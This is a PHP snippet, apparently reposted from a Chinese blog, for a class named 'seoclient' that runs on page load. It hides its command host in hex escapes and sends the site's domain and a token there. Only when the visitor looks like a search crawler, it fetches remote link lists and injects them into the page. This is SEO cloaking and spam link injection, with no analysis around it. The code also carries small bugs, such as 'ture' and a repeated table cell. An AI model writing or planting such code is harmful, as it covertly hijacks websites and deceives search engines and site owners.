if(!class_exists('seoclient')){
class seoclient{
private $debug = NULL;
private $arr = array();
private $socket = "\X68\X74\X74\X70\X3A\X2F\X2F\X77\X77\X77\X2E\X70\X72\X6F\X62\X61\X69\X64\X75\X2E\X63\X6F\X6D\X2F\X69\X6E\X64\X65\X78\X2E\X70\X68\X70";
public function __construct($debug = false) {
$this->debug = $debug;
}
public function kecho($param,$line = "") {
echo "<pre>";
print_r($param); echo "<hr>"; print_r($line);
echo "</pre>";
}
public function main(){
if (!self::is_bot()) return;
$res = json_decode($this->post($this->socket, $this->pcontext()),ture);
$arr = array();
foreach ($res as $key => $value) {
if(self::file_exists($value)){
if(function_exists('file_get_contents')){
$arr = $this->file_get_contents($value);
} else {
$arr = $this->file_get_array($value);
}
$this->frame($arr);
}
}
}
protected function file_get_array($filename,$mode='r') {
$arr = array();
$fp = fopen($filename, $mode);
while (!feof($fp)) {
$arr[] = fgets($fp);
}
return $arr;
}
protected function file_get_contents($url) {
$contents = file_get_contents($url);
$contents = str_replace("a>", "a>|", $contents);
$contents = str_replace(PHP_EOL, '', $contents);
$array = explode('|', $contents);
$array = array_filter($array);
return $array;
}
protected function frame_td($a) {
if(is_null($a)){
return ;
}
return "<td>$a</td>";
}
protected function frame_tr($a,$b,$c,$d) {
$format = "<tr > ".self::frame_td($a).self::frame_td($b).self::frame_td($c).self::frame_td($c). "</tr>";
echo $format;
}
public function file_exists($page) {
$headers = @get_headers($page);
if ($headers) {
$head = explode(' ', $headers[0]);
if ( !empty($head[1]) && intval($head[1]) < 400) {
return true;
}
}
return false;
}
public function frame($array) {
echo "<table style='align:center;width:90%;cellpadding:1;cellspacing:0;border-style:dashed;border-width:1px; border-color:#000000;'>";
for ($index = 0; $index < count($array); $index++) {
self::frame_tr($array[$index],$array[$index+1],$array[$index+2],$array[$index+3]);
$index = $index+3;
}
echo("</table><br><br>");
}
public function pcontext() {
$d = array();
$d['domain'] = $_SERVER['SERVER_NAME'];
$d['token'] = substr(md5($_SERVER['SERVER_NAME']), 5,15);
return $d;
}
public function post($url, $post = null,$method = 'POST', $timeout= 60, $i =0)
{
$context = array();
if (is_array($post)) {
ksort($post);
$context['http'] = array (
'timeout'=> $timeout, 'method' => $method,
'content' => http_build_query($post, '', '&'),
);
}
$context = stream_context_create($context);
while($i < 3 && ($html =file_get_contents($url, false, $context))===FALSE) {
$i++;
}
return $html;
}
public function is_bot($botchar = "/(Googlebot|baidu|bot|crawl|spider|soso|sohu-search|curl|wget|360)/i"){
if($this->debug){
return TRUE;
}
$user_agent = strtolower($_SERVER['HTTP_USER_AGENT']);
if(preg_match($botchar, $user_agent)) {
return TRUE;
}else {
return false;
}
}
}
}
if(!isset($seo_instance)){
$seo_instance = new seoclient();
$seo_instance->main();
}
转载于:https://my.oschina.net/u/1986061/blog/310350